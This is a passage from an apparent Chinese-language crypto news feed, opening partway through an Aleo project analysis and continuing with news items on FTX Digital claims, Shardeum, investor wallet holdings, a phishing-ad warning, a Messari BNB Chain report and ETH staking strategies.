。该团队由来自谷歌、亚马逊和Facebook等公司以及加州大学伯克利分校、约翰霍普金斯大学、纽约大学和康奈尔大学等研究型大学的世界级密码学家、工程师、设计师和运营商组成。2022年9月20日，Alex Pruden被提升为Aleo的CEO，他此前在A16Z、coinbase工作。 目前Aleo整个团队括财务和法律方面专业人才在内有30多人。 Aleo官方公布的融资有两轮半，分别是A轮、B轮及B轮+。 A轮融资金额2800万美金，由Andreessen Horowitz(a16z)领投，PlaceholderVC、GalaxyDigital、VariantCapital和CoinbaseVentures参投，其他投资者包括PolychainCapital、SlowVentures、DekryptCapital、ScalarCapital、a_capital、zkValidator、BalajiSrinivasan和由JosephLubin创立的新风险基金EtherealVentures。 B轮融资金额2亿美元，由KoraManagementLP和SoftBankVisionFund2领投，TigerGlobal和SeaCapital、三星Next、SlowVentures和AndreessenHorowitz(a16z)参投，最终对该公司的估值为14.5亿美元。Aleo的B轮融资是零知识证明赛道有史以来规模最大的一轮融资。 B轮+融资7000万美元，Softbank Vision Fund 2和三星Next对其进行了投资。 从2019年立项至今，Aleo项目的发展成果如下：   八、经济模型 Aleo的代币经济学旨在以尽可能简单的方式调整Aleo系统中所有利益相关者的激励措施，为Aleo网络提供服务。其代币表示有意义的价值，为参与者提供的安全性给予奖励，促进生态系统的开发和使用及权力下放等。并且，团队保留在迭代主网时进行必要调整的权利。 在Aleo网络启动时，Aleo 积分将在早期支持者、建设者和社区成员以及提供资助并确保网络持续发展的基金会或其它实体之间分配。从创世开始，新的积分将被铸造并通过区块奖励分配给Aleo网络上的矿工。表1（如下）总结了整体经济模型的细节（注意：当前的区块时间约为20秒）。 表1 除了在 Aleo 团队、早期支持者和社区成员之间分配的代币起始供应外，还将留出一部分用于在Aleo主网启动后的某个时候进行更广泛的分发，目的是进一步分散控制并提高开源社区的质量，同时遵守适用的法律和法规。 同时为了实现网络的高度安全性，Aleo团队在开始时设定了一个相对较高的通货膨胀率，然后在第一个十年中减半两次。在第九年之后，最终减半将导致每个区块的尾部释放12.5个Aleo积分，以确保网络的安全性以及它将支持的经济稳定性。下表显示了Aleo头15年的通货膨胀曲线。 表2：Aleo通货膨胀时间表和总供应量 在积分分配上，随着时间的推移和新积分的铸造，分配会发生变化。表3（下图）描述了假设区块奖励的Aleo积分的分配（此图表仅考虑通货膨胀，并未考虑任何初始持有者出售其代币的情况。因此，代币的实际分布可能会比下面的简单表示更广泛）。 表3：Aleo积分分配 九、基本面分析 Aleo项目目前处在测试网三，还没有进入第三阶段（测试网三分成三个阶段）。根据其发布的2023路线图，预期4月将会进入测试网三第三阶段，并在5月结束测试网三第三阶段，在6月经过压力和审核测试、主网升级后，将于7月上线主网。 在当前火热的AI领域，Aleo团队近期表示Aleo网络是开发人员开始试验 ZKML（零知识机器学习）应用程序的绝佳平台。官方发布的指南介绍了如何使用Aleo的零知识领域特定语言——Leo语言运行神经网络的推理（https://mp.weixin.qq.com/s/cltdBcmqA9wTDeoiQaviiw）。出于Aleo无需许可的架构，任何人都可以在Aleo 网络上的 ML（机器学习）和 ZK（零知识）领域成为自己数据的证明者/验证者，“这为潜在用例的全新世界打开了大门”。 分析Aleo项目所在的行业，可以从零知识证明领域和Layer1切入。 在零知识证明领域，随着硬件的加速研发和基础设施的完善，ZK技术会变得更加实用，并且在多个领域与其形成紧密的联系，如元宇宙、Web3、加密货币、金融和隐私等。零知识（ZK）的发展还处在早期阶段，作为一项加密算法，它在一系列加密算法当中脱颖而出，离不开它优秀的算法特性和易用性。ZK技术被应用在区块链领域，意味着更快速运行的区块链网络和开放、私有的应用程序。在某种程度上，它也已经成为区块链生态系统的核心和支持工具。在实现隐私保障的同时，还可实现可扩展性，这些都对区块链乃至web3的未来发展至关重要。这是零知识证明未来的应用前景，也是Aleo网络的前景。 在Layer1方面，和Starware、zkSync、Scroll等Layer2项目不同，Aleo网络具备自己的snarkVM、Leo编程语言、Aleo Studio开发环境、PoSW共识机制等，意味在零知识领域，基于Aleo开发的应用和生态系统都大大地超过Layer2 ZK项目，而应用生态和系统带来的海量市场和可观资本是超乎想象的。 在行业分析一节中，已论述零知识证明技术的重要性和潜力，这一点既是技术本身的潜在广泛使用前景，又是“搭载”了零知识证明技术Aleo网络的未来前景。Aleo项目也正是凭借采用零知识证明技术而获得资本的青睐。因此，可以说零知识证明领域的机会也是Aleo项目的机会，尤其对区块链Layer1来说更是如此。 从区块链Layer1来说，不同于Layer2，Layer1拥有自己的智能合约、开发环境、编程语言、共识机制、经济模型等，在规模和体量方面更能吸引潜在的市场生态，收获更多的用户和价值。这是Aleo项目定位在Layer1的机会和优势。 Aleo项目的风险部分也来自于零知识证明技术。从历史上看，生成 ZKP 比仅在本地运行计算更昂贵，因为 ZKP 需要更复杂和计算成本更高的数学运算，依赖于更专业的硬件。这也是Aleo CEO在谈到2023年ZK技术的发展时认为硬件的加速发展会推动ZK的发展。采用ZKP技术的Aleo网络在现实应用场景时处理海量数据是否优于其它网络、费用如何平衡（Aleo定位于0Gas费），这些都有待市场验证。 声明：web3中文编辑作品，内容仅代表作者立场，且不构成投资建议，请谨慎对待，如文章/素材有侵权，请联系官方客服处理。  ( 2 min )
    FTX Digital已通过普华永道受理索赔登记，其清算程序已延长至8月9日
    PANews 4月21日消息，据普华永道官网信息，巴哈马实体FTX Digital目前的清算程序已延长至2023年8月9日，临时清盘人（普华永道）还向美国特拉华州破产法院提交了第15章申请，美国法院于2月15日下达了一项承认临时清算为外国主要程序的命令，FTX Digital不受美国第11章破产程序的约束。自最高法院任命以来，临时清盘人一直在审查FTX Digital的财务状况，调查FTX全球崩溃的原因及其对FTX Digital的影响，寻求识别和保护资产，并调查公司的所有可用路径，以期实现所有利益相关者的最大可能价值，这项工作正在进行中。 临时清盘人邀请FTX Digital的客户和可能对FTX Digital提出索赔的第三方索赔持有人向其登记联系方式。某些客户可能不知道他们是FTX Digital或FTX集团其他实体的客户或债权人。如果客户认为其可能对FTX Digital提出索赔，请通过索赔门户网站提交详细信息，以便临时清盘人在适当的时候考虑。索赔进程会通过以下几个阶段：索赔登记、在索赔门户中创建登录、身份验证、接受余额、资产转让。目前索赔进程正处于此过程的第1阶段，普华永道邀请客户和债权人向其登记他们的联系方式。 此外，在近日疑似给客户的邮件中，FTX Digital称该实体的临时清算程序独立于正在进行的美国第十一章程序，但与之并行。已向美国第十一章程序所涵盖的实体提交索赔的FTX.com客户不会被阻止通过FTX Digital索赔门户注册他们的详细信息，反之亦然。  ( 1 min )
    详解新公链Shardeum：基本概念、技术特点及生态发展
    原文：《What is Shardeum and How Does It Work?》By CJ，CoinGecko 编译：饼干，ChainCatcher Shardeum 是一个基于 EVM 的 Layer1 网络，专为线性可扩展性而设计。由于拥有先进的分片解决方案，Shardeum 承诺永远保持低 gas 费用。Shardeum 还将推出自己的原生代币 SHM。 关键要点 Arbitrum 是以太坊的扩展解决方案，允许以更高的 TPS 和更便宜的 gas 费用执行交易，这是该网络受欢迎的原因之一。因此，Arbitrum 的空投活动备受加密社区的期待， ARB 奖励给那些早期参与 Arbitrum 主网的人。 除此之外，加密领域还有许多旨在实现 DeFi 扩展的协议，Shardeum 就是其中之一。 Shardeum 由印度头部加密货币交易所 WazirX 的创始人创立，该团队自 2017 年以来一直在构建 Web3 项目。Shardeum 在 2022 年 10 月完成 1820 万美元种子轮融资，并且可能会向那些参与其测试网的人进行空投。（相关阅读：《深挖估值2亿美元的新公链Shardeum：WazirX联合创始人“新瓶装旧酒”》） 资料来源：Shardeum 博客 在本文中，我们将了解什么是 Shardeum，以及其独特的可扩展性功能和生态系统。 Shardeum 是一个基于 EVM 的 Layer1 区块链，专为线性可扩展性而设计，承诺提供低 gas 费用，同时通过动态状态分片保持去中心化和安全性。Shardeum 的潜在用例范围从 DeFi 到开源 AI 和游戏，旨在让下一个十亿人加入加密货币领域。 为了克服可扩展性、安全性和去中心化的区块链三难困境，Shardeum 借鉴了以太坊的去中心化和安全性，同时通过动态分片及其结合的 Quorum 和 Proof-of-Stake 共识增强线性可扩展性。 Shardeum 将推出自己的原生加密货币 SHM，该团队已经公布了其代币经济学，固定供应量为 5.08 亿枚，但目前 SHM 仍处于开发阶段。 接下来让我们探讨是什么让 Shardeum 值得关注。 Shardeum 通过使用分片技术进行扩展，该技术将区块链分成更小、更易于管理的部分。 具体而言，区块链本质上是一个大型数据库系统，分片区块链是指将大数据表拆分成更小的数据表。通过将信息分解为可管理的部分，使得分片网络能够比非分片区块链每秒处理更多的交易（TPS）。 分片对于 Shardeum 来说并不陌生，Zilliqa、Polkadot、Near 甚至以太坊都在使用分片（他们使用一个名为 Proto Danksharding 的版本）。然而，Sharedum 使用了一种独特的分片技术，称为「动态分片」。 动态分片（dynamic state sharding）是分片技术的前沿解决方案之一，其架构具有灵活性，并且可以轻松适应整个区块链生态系统的变化。在动态分片中，所有节点并非覆盖相同的地址范围，而是为这些节点分配不同地址范围，从而使让多个分片的事务能够同时处理而不是顺序处理。该技术可以减少处理事务的时间，也有助于提高交易吞吐量，同时始终保持较低的 gas 费。 本质上，它允许网络根据动态需求的波动，即时添加或删除区块链分片或数据存储方法。优点是无需停止生态系统即可轻松升级网络。 与静态分片不同，动态分片不会减慢网络速度，因为它可以在网络负载变化时执行，并且轻松应对网络负载的波动。 Shardeum 也支持利用原子处理技术来确保事务正确执行。原子性意味着事务可以部分执行，或者一个都不执行。如果没有原子处理，交易可能会失败，并造成网络数据不一致，从而导致安全风险、降低可靠性。 Shardeum 结合原子处理和跨分片通信，允许交易访问不同分片的数据和状态，它将使复杂的交易和智能合约能够在分片环境中执行，从而使智能合约开发人员的编码更加容易。 由于网络的负载和需求会随时变化，因此自动扩展需要适应需求的高低，并且不影响安全性和网络性能。 自动缩放基于负载来测量每个周期（1 分钟）的网络负载，它将与处理负载所需的验证器节点数量达成共识。整个过程是自我执行的，无需任何中介。这类似于比特币网络根据哈希率每两周自动调整其难度级别。 例如，当 Shardeum dApp 收到大量活动时，网络会自动添加更多活动验证器节点以增加吞吐量。当活动减少时，它将减少活跃验证器的数量并保持网络上的精简操作。 顾名思义，Shardeum 允许在网络中添加更多节点，以在需求高峰期间立即增加交易吞吐量，使 Shardeum 成为一个线性扩展的 Web3 网络。当一个节点处于备用状态时，它是在等待网络活动恢复，需要被激活才能增加 TPS。 无论网络需求如何，这是影响区块链可用性的主要 X 因素，包括吞吐量、去中心化、安全性和恒定交易费用。 因此，如果有足够的需求和节点，Shardeum 理论上有可能实现超过 100,000 TPS 的交易速度。 Shardeum 使用独特的共识机制组合，同时使用权益证明 (PoS) + 法定人数证明 (PoQ)。 股权证明是一种如何验证新交易块、验证是否正确，以及谁可以获得奖励的机制。任何持有 SHM 最低要求股份的人都可以参与验证。这是目前最流行的共识机制，被以太坊、其他 L1 和所有 Cosmos 应用程序使用。 Shardeum 使用股权证明来验证新区块，此外，它使用法定人数证明来验证组内的交易。详细地说，法定人数证明用于管理共识组内交易的验证方式，共识组由分片中的多个节点组成。PoQ 节点在收到带有时间戳的交易后立即单独验证交易（这可以防止「双花」，即有人更改区块链网络以重新获取他们已花费的加密货币，以便再次花费）。然后，交易会被广播到网络上共识组 / 分片中的所有其他节点，而不是网络上的每个节点。 股权证明和法定人数证明共同允许 Shardeum以无需信任的方式和收据的形式收集选票（又称法定人数），从而使网络保持去中心化。 在 Shardeum 上，共识和处理是在交易级别而不是块级别完成的。 由于动态状态分片，网络将均匀地分片其状态，并在所有节点之间动态分配计算工作负载、存储和带宽。这种类型的交易并行处理使得验证器节点的开销非常低，因为它们将仅存储它们所涉及的交易的状态数据。 这使得 Shardeum 能够永远为开发者和用户保持低 gas 费用。 Shardeum 目前拥有三个测试网：Shardeum Liberty 1.X、Liberty 2.X 和 Sphinx1.X，其生态系统中有 69 个项目。 Shardeum 上有各种类别的应用程序，从 NFT 到DeFi，以及链上游戏。 生态系统中最重要的支柱是 DEX，所以让我们首先看一下已经在 Shardeum 测试网上的 DEX。 每个生态系统都需要一个 DEX，因为它是大多数交易和交易完成的地方。在撰写本文时，Swapped Finance 是唯一在 Shardeum 测试网上运行的 DEX。 Swapped Finance 类似于 Uniswap v2 风格的 DEX，用户可以在其中交换不同的代币并收取 0.3% 的费用，以及提供流动性并按比例在所有交易中赚取约 0.21% 的费用。 Dotshm.me 是一种类似于以太坊名称服务 (ENS) 的 Web3 域名服务，使其他人可以更轻松地将加密货币发送到个性域名而不是用户的「0x」地址。 用户只需将钱包连接到 Liberty2.X，搜索可用域名，便可注册一个域名。 NFT 市场 没有 NFT 市场，DeFi 生态系统是不完整的，而 Spriyo.xyz 正是这样。有近 3,000 个不同的收藏，铸造了超过 120,000 个 NFT。用户可以在市场中探索，并对喜欢的 NFT 出价。 请记住，所有这些应用程序目前都是测试网，但它们也有可能在未来向测试网用户提供单个项目的空投。 随着下一个十亿用户进入加密领域，可扩展性成为许多网络正在寻求解决的现实问题。分片是提高可扩展性的方法之一，将区块链数据库分成更小的表。这也是以太坊生态系统的下一个重大升级之一，尽管它们将面临来自其他链的竞争。Shardeum 很可能是扩展和分片领域的主要竞争者之一，因为他们自 2017 年以来一直在构建自己的高级分片版本，这使得他们的网络可以无限扩展。 幸运的是，他们仍处于测试网阶段，这意味着仍有可能获得 SHM 空投，尤其是在团队宣布将为生态系统和空投预留 5% 的情况下。  ( 4 min )
    DeFi 挖矿、杠杆交易？深入挖掘加密亿万富翁和大佬们的链上活动
    加密研究员 Hoeem 最近总结了一些加密亿万富翁和交易大佬在链上的活动，涉及杠杆交易、DeFi 挖矿等。相关加密资产包括 $GMX、$ARB、$SOLID、$EQUAL、$SNEK、$TRX 等。白泽研究院编译整理如下： Mechanism Capital 联合创始人 Andrew Kang 的净资产超过 2 亿美元，接下来我们追踪一下他的投资组合，了解他的链上策略。 跟踪公开钱包地址：0xe8c19db00287e3536075114b2576c70773e039bd，我们可以看到他买入的 $ARB，一直跑赢市场，也能看到他在 GMX 上的交易。（请注意，这不代表 Andrew 的整个投资组合，只是我们追踪的他的一个公开钱包。） 1. 购入 $ARB 持续盈利 他在 2023 年 4 月 4 日用 100 万美元首次大笔购买 $ARB。 他在 2023 年 4 月 5 日又大额购买了两笔，总计价值 185.2 万美元的 $ARB。 在 Arbitrum 基金会的新提案之前，他买入了一定规模的 $ARB，以大约 40% 的回报率跑赢了大多数市场参与者。 目前他还没有卖掉。 他会长线持有吗？ 2. 在 GMX 上交易 - 56.3 万美元的多头头寸，50 倍杠杆 - 19.8 万美元的空头头寸，25 倍杠杆 杠杆交易是一种“危险游戏”，通常有得有失，不建议尝试，但你可以从中获得一些见识。 通过观察，Andrew 的空头头寸规模较小，最近才建立。 - 他在对冲他的多头头寸吗？ - 他还没有关闭多头头寸，也许是提前预测到了市场会出现短暂回调。 但重要的是要记住，杠杆交易风险大，也许对他来说只是在“赌博娱乐”而已。 Lafa 的净资产超过 500 万美元，接下来我们追踪一下他的投资组合，了解他的链上策略。 Lafa 是 DeFi 协议 DEUS 的创始人，因此对 DeFi 了如指掌。我们正在跟踪的钱包地址是：0x83b285e802d76055169b1c5e3bf21702b85b89cb 通过追踪地址，我们发现 Lafa 投资了很多 DeFi 代币，更确切的说，是Solidly ve(3,3) 代币。 - 200 万美元的 $SOLID - 56 万美元的 $THE - 18.5 万美元的 $SNEK - 37.2 万美元的 $RAM - 3.5 万美元的 $EQUAL Solidly ve(3,3) 会是一个不错的叙事，尽管这些协议推出得很好，但它们的代币尚未创下历史新高。 众所周知，Solidly 具有较高的 APR。他持有的这些代币都被质押，并通过贿赂赚取大量收益，每周赚取的金额根据贿赂金额略有波动。 简而言之，Lafa 正将他的鸡蛋放入 Solidly ve(3,3) 篮子中，并且到目前为止已经成功了。 需要注意的是，他投资的许多协议代币，是他 DEUS 的合作伙伴。 但他对Solidly ve(3,3) 和这些代币是否坚定呢？ 孙宇晨的净资产超过 4 亿美元，接下来我们追踪一下他的投资组合，了解他的链上策略。 我们跟踪的钱包地址是：0x3ddfa8ec3052539b6c9549f12cea2c295cff5296 他持有的大部分资产都是稳定币，在最近一段时间内没有太大变化。 再看看他持有的其他代币（价值超过 10 万美元）： - 500 万美元的 $TRX - 88 万美元的 $AAVE - 33 万美元的 $BTC - 20 万美元的 $MULTI - 17 万美元的 $COMP - 17 万美元的 $MATIC - 17 万美元的$CVX - 12 万美元的 $DFA - 11 万美元的 $KCS - 11 万美元的$SUSHI 深入调查他的 DeFi 交易，我们可以发现他正在 DeFi 提供流动性赚取收益： - TRX/BUSD：540 万美元 - BTT/BUSD：500 万美元 - WIN/BUSD：100 万美元 他还通过 Aava 出借资产赚取收益： - USDT：2400 万美元 - TUSD：420 万美元 简而言之，作为 Tron 的创始人，孙宇晨正在通过 Tron 系代币 TRX、BTT、USDD 在 DeFi 中持续掘金。 BitMEX 联合创始人Arthur Haye 的净资产超过 5 亿美元，他以 17 美元的价格购买了 $GMX（现在是 78 美元）。接下来我们追踪一下他的投资组合，了解他的链上策略。 我们跟踪的钱包地址是：0x534a0076fb7c2b1f83fa21497429ad7ad3bd7587 Arthur 的大部分链上资金都在 DeFi 中，他持有的代币只占他投资组合的一小部分，但让我们来看看（早些时候抛售掉了持有半年的 $LDO）： - 8 万美元的 $ETH -4.8 万美元的$BOND - 1.7 万美元的 $PENDLE -1.4 万美元的$ARB 深入调查他的 DeFi 交易，我们可以发现他似乎钟爱 GMX 协议，将大部分资金质押在 GMX 中，并赚取收益： - 质押 1570 万美元的 $GMX - 质押 100 万美元的 $esGMX $GMX 至少为 Arthur 提供了 4.32% 的 APR，全部以 $ETH 支付： - 每年 70 万美元 - 每月 5.9 万美元 - 每天 1900 美元 简而言之，Arthur Hayes 仅通过购买并持有其大部分投资组合中的 $GMX 就跑赢了大多数市场参与者。 以后Arthur 再抱着这样的信念买入代币的时候，你要注意了，你可以通过链上数据工具发现它。 风险提示： 根据央行等部门发布的《关于进一步防范和处置虚拟货币交易炒作风险的通知》，本文内容仅用于信息分享，不对任何经营与投资行为进行推广与背书，请读者严格遵守所在地区法律法规，不参与任何非法金融行为。  ( 4 min )
    预警：谷歌搜索“imToken”置顶广告为新型钓鱼网站
    PANews 4月21日消息，慢雾研究员@IM_23pds发推文称，当前谷歌搜索“imToken”后的置顶广告为新型钓鱼网站，请用户切勿点击链接，注意规避风险。  ( 1 min )
    Messari一季度BNB Chain报告：财务业绩有所改善，用户活动仍然强劲
    作者：节选自Messari 编译：Felix, PANews 性能分析 网络概览 在2022年第三季度达到基础用户群后，BNB Chain的平均每日活跃地址数和每日交易量在2022年第四季度开始呈上升趋势。2023年第一季度，活动水平趋于稳定，但季度环比依然呈现上升趋势。 2022年第四季度，BNB Chain的基础网络利用率更高，因为平均每日活跃地址数发生逆转，到2022年底增长了约30%。尽管经济持续低迷，但2023年第一季度的几个生态系统发展继续推动地址活动。 与Hooked Protocol在第四季度的加速采用类似，第一季度的活动激增源于： 每日交易活动遵循与每日活跃地址类似的模式。在2022年第三季度达到基本用户群后，交易活动在2023年第一季度趋于稳定。总的来说，BNB Chain的平均日交易在本季度结束时略有下降(3.9%)，但在整个第一季度稳步上升。 在经历了动荡的2022年之后，加密市场在1月份反弹，并在本季度末展现出韧性。因此，随着网络活动的上升趋势，BNB Chain的财务业绩有所改善。平均交易费用下降，收入减少；同时，流通市值环比增长24.9%。 由于BNB的代币销毁机制，BNB的流通量持续下降。自2017年启动销毁机制以来，截至2023年3月31日，已经销毁了超过4400万枚BNB（约占其2亿总供应量的22%）。去年，BNB的平均通缩率为1.1%。 BNB的收入（以BNB支付的总交易费用）下降11.7%，而网络价值环比增长24.9%。两者的偏差可能表明，整体市场情绪比基础网络效用更能推动价值增长。 随着1月份开始的反弹，以美元计价的TVL上涨了10.2%。然而，以BNB计价的TVL下降了14.6%，这表明TVL是由美元计价的资产价格上涨产生的，而不是BNB的使用。 流动性质押和挖矿平台继续支持BNB Chain及其DeFi生态系统。LSD协议Ankr和流动性挖矿平台Coinwind在本季度继续增长。他们在第一季度TVL排名前十，总共持有约2.45亿美元的TVL。请注意，这些平台并未被重复计算TVL。 BNB Chain上几乎所有的DeFi应用都受益于整个第一季度的市场反弹。BNB Chain最突出的协议，PancakeSwap，在TVL方面环比增长了3%。与此同时，Venus和Alpaca Finance上的TVL以两位数的速度增长，导致panakeswap的主导地位连续第三个季度下滑。 BNB Chain 上 TVL 主导地位的持续转变表明，一个更强大的DeFi生态系统正在形成。TVL集中在单个协议（如PancakeSwap）中的风险正在降低。截至第一季度末，PancakeSwap占BNB Chain DeFi领域的TVL约43%，低于上一季度的46%。尽管市场份额下滑，但PancakeSwap仍在不断创新。它宣布推出其V3，并将在第二季度初推出一系列新功能和活动。 除了PancakeSwap，BNB Chain在3月中旬推出了Uniswap，在扩展DeFi方面取得了重大进展。推出Uniswap后便获得了关注：在头两周内处理了超过5000万美元的交易额，并获得了1100万美元的TVL。 BNB Chain DeFi的其他值得注意的发展包括: BNB Chain在稳定币领域的地位相对可观，稳定币总市值排名第三，仅次于以太坊和波场。 在第一季度开始时，BUSD占BNB Chain稳定币市值的52%。然而，在监管机构迫使Paxos停止发行BUSD后，其用户不再使用BUSD。结果，BNB Chain的美元市值环比下降了约25亿美元(约54%)，USDT开始占据主导地位。 尽管BNB Chain的稳定币市值最终环比下降了30%（约28亿美元），但BNB Chain在链上的稳定币总市值方面仍排名第三。 2022年是BNB Chain NFT领域爆发的一年。虽然宏观因素可能导致第四季度销量停滞，但由于NFT二级市场总销量环比增长2.9%，第一季度销量趋于稳定。 虽然销量平平，但独立买家继续超过独立卖家。2022年第四季度，当BNB Chain NFT可在OpenSea上线和销售时，购买活动激增。同样，随着Joepegs NFT市场扩展到BNB Chain，并举办了“ORIGINS系列”活动，购买活动在第一季度末激增。此外，韩国流行歌手权志龙与Fandom Studios合作，在OpenSea上发布了“Archive of PEACEMINUSONE”系列。 《Era7: Game of Truth》、《X World Games》、《Tiny World》、《Meta Apes》和《SecondLive》都是去年推出的游戏。这五款游戏是BNB Chain上日均独立活跃钱包（UAW）最高的前五款游戏应用。在第一季度，钱包活动放缓，因为与2022年第四季度相比，游戏UAW总体下降了41%。 虽然这些顶级游戏应用的钱包活跃度有所下降，但新游戏仍在继续推出，并在BNB Chain上受到关注。在2022年第4季度，Yuliverse和PlayZap游戏平均每日UAW很少。然而，到第一季度末，这两款游戏都呈现上升趋势，Yuliverse和PlayZap的日均UAW分别为1500和8500。 此外，MOBOX的UAW继续保持在5000左右，Gameta继续在其平台上推出多个迷你游戏系列，巩固了其在BNB Chain上排名前15位的地位。 在DeFi, NFT和GameFi领域之外，其他用例的网络活动值得关注。 游戏化SocialFi平台Hooked Protocol在2022年第四季度快速发展后，其用户基础在第一季度得以巩固。 社交平台CyberConnect在第一季度也遵循了与Hooked Protocol类似的趋势。在Connected 2023的推动下，CyberConnect的UAW为3万。Connected 2023是一场黑客马拉松，包括四周的应用程序开发，最终有23个团队在六个类别中赢得了5万美元奖金。 在第一季度，BNB Chain保持了积极的战略，在整个生态系统中部署了财力和人力。尽管BNB Chain在DeFi，NFT和GameFi中占据了一席之地，但其最大的网络增量活动是由其他用例驱动的，尤其是在SocialFi领域。 在第一季度，网络质押和去中心化继续得到改善。总权益、平均参与权益（总权益除以总供应量）以及验证区块的验证者数量均呈环比增长。 正如《2022年BNB Chain Q4报告》所强调的那样，通过以下方面的持续努力，该网络将继续进一步去中心化，并增加网络的审查力度: BEP-131、153和159将继续促进活跃和候选验证者集的增长。这种增长应该能够促进更多的验证和质押参与，从而促进更大的权益分配。 除了上述提到的增长外，BNB Chain 在第一季度还有其他三个层面的增长： 尽管BNB Chain在实现其长期目标和持续采用方面取得了进展，但该网络在第一季度也面临一些挑战。 2月，Jump Crypto的安全团队在BNB信标链中发现了一个漏洞。如果被利用，该漏洞将允许攻击者在BNB链上铸造无限数量的任意代币，从而导致潜在的资金损失。Jump Crypto私下向BNB团队披露了这个问题。BNB团队随后在24小时内开发并部署了一个补丁来保护资金。 3月，美国商品期货交易委员会（CFTC）对赵长鹏“CZ”、Binance Holdings limited、Binance Holdings (IE) Limited、Binance (Services) Holdings Limited 和 Samuel Lim提起诉讼，指控他们违反了交易和衍生品法规。虽然诉讼的结果不可预测，但负面结果可能会减缓BNB Chain生态系统的发展。 为了清楚起见，Binance和BNB Chain是独立的实体，前者是中心化实体，后者是一个不断发展的去中心化网络。然而，Binance、Binance Labs和Binance Launchpad通过资产上市、流动性提供、投资和项目启动，帮助BNB Chain生态系统发展。 随着市场情绪的转变和第一季度的反弹，BNB Chain的用户活动仍然强劲。日均活跃地址和交易量保持稳定。增加的质押数量和验证者集标志着网络朝着更去中心化的方向发展。 随着Uniswap的推出，BNB Chain上的DeFi扩展到了PancakeSwap之外。新游戏不断推出，并收获了一定的关注度。SocialFi领域的其他用例推动了网络活动的增长。 尽管BNB Chain在实现其长期目标方面取得了进展，但第一季度仍面临一些挑战。Jump Crypto在BNB信标链中发现了一个漏洞。监管机构迫使Paxos停止发行BUSD，美国商品期货交易委员会（CFTC）对币安交易所提起诉讼。 尽管面临这些挑战，BNB Chain仍希望保持竞争力，继续其增长战略，努力实现2023年的增长计划。  ( 6 min )
    以太坊的3种睡后收入方式：质押、DeFi积木和DeFi期权金库
    在以太坊生态系统中，有多种策略可帮助ETH投资者实现睡后收入。本文总结了三种主要策略：经典质押、DeFi积木和DeFi期权金库，以及它们的风险和回报。通过选择适合自己的策略，投资者可以在不需要过多努力的情况下获得被动收入。无论是通过稳健的质押，还是通过高回报的DeFi期权金库，睡觉时都能让资产在睡梦中获得增值。 本文由“Web3地图”编译自 @stacy_muur 推文，文中观点为原作者所有，不作为任何财务建议，仅作信息参考、研究之用。 在这篇文章中，作者总结了用 $ETH 赚取被动收入的 3 种方式，它们的风险和难度各有不同： 每个人都有适合自己的一种策略！ 质押 Ethereum 的上海升级（又名 Shapella）上周顺利完成。 这是继 Ethereum 转向 PoS 权益证明 (即 The Merge) 之后的重大升级。 既然现在 $ETH 的质押奖励是可兑现的，让我们看看质押者有哪些选择。 如果您是 @MetaMask 用户，可以选择 @LidoFinance（无最低限额）和 @Rocket_Pool 质押（最低 0.01 ETH）。 低风险，低回报，去中心化。 Binance 目前提供约 3.84%，Gemini 用户享有 4.20% 的 APY。 低风险，低回报，中心化。 如果您拥有 32 个闲置的 ETH，那么您可能会选择单独质押。 它提供了完全的参与奖励，并提高了网络的去中心化程度。 参考链接：Solo stake your ETH 平均而言，ETH 质押 APR 将在 3% 到 6% 之间波动（有些项目为了吸引更多用户，会补贴平台代币形式，提供额外收益）。 所有 20% / 30% / 150% 的奖池都可能是诈骗或庞氏骗局，所以请小心。 如果质押是您的选择，我建议您保存下面这个来自 @staked_us 的链接。 这些家伙汇总了做质押决策所需的财务指标，并定期发布关于质押的出色季度研究。 在 DeFi 中，我们有所谓的 DeFi 积木，这意味着您可以在一个地方质押您的以太坊，然后在另一个地方再投资，从而赚取复利收入。 是一个很棒的策略！ 这样，您可以在相对风险较低的情况下，用您的以太坊赚取约 8% 的 APR。 想要更多风险和刺激吗？好吧。 在这种情况下，请关注 DeFi 期权金库（听起来很吓人，是的，但实际上没那么可怕）。 首先，DeFi 期权金库（DOVs）是什么？ 它是一种自动化的卖出完全抵押认购期权策略。 这是寻求利用闲置资产赚取额外收益的投资者常用的策略。 还是觉得太复杂了吗？ 从新手的角度来看，这意味着一些聪明的交易期权的人将他们的智能策略自动化，以便我们（新手）可以投资并赚取比质押或 DeFi 积木策略更高的利息。 在了解 DOVs 时，您需要注意以下几点： 我已经尽可能地简化了它，但如果您想阅读更详细的解释，可以阅读由 @QCPCapital 编写的这篇精彩指南↓ An Explanation of DeFi Options Vaults (DOVs) 那么这些 DeFi 期权金库的收益如何？ 平均而言，DOVs 根据特定金库的风险状况，生成 20% 至 50% 的 APY。 行权价格离当前价格越近，期权被执行的风险就越高，因此 APY 也越高。 目前的 APY 为 35% - 50%。ETH 和 stNEAR 金库刚刚推出，所以它们一开始的 APY 可能会更高。 您需要通过 @NEARProtocol 连接（可以尝试 Rainbow Bridge） 目前的 APY 在 6% 到 122% 之间（估计为四周平均值）。 一些金库需要连接到 Avalanche、币安智能链或 Solana。 目前的 APY 在 19% 到 22% 之间。 目前还有一些项目处于测试阶段，例如位于 @Avax 的 @ArrowMarkets 和位于 @arbitrum 的 @sirenprotocol 等。 没有低风险的高收益，请记住这一点。 您的选择是什么？  ( 4 min )
    加拿大养老基金OTPP已在减计对FTX的投资后停止涉足加密领域
    PANews 4月21日消息，据金融时报报道，加拿大安大略省教师退休基金（OTPP）表示，在去年全数减计对FTX的9500万美元投资后，已停止涉足加密货币领域，目前正在关注房地产领域的新机会，还希望扩大其对私人信贷的敞口。 此前去年11月消息，该基金宣布将在年底对FTX的9500万美元投资减记为零。据悉，OTPP在2021年10月向FTX及FTX US共投资了7500万美元，并于2022年1月对FTX US追加了2000万美元的后续投资。该投资占该退休基金总净资产的不到0.05%。  ( 1 min )
    除了Layer2，今年值得关注的5大加密叙事
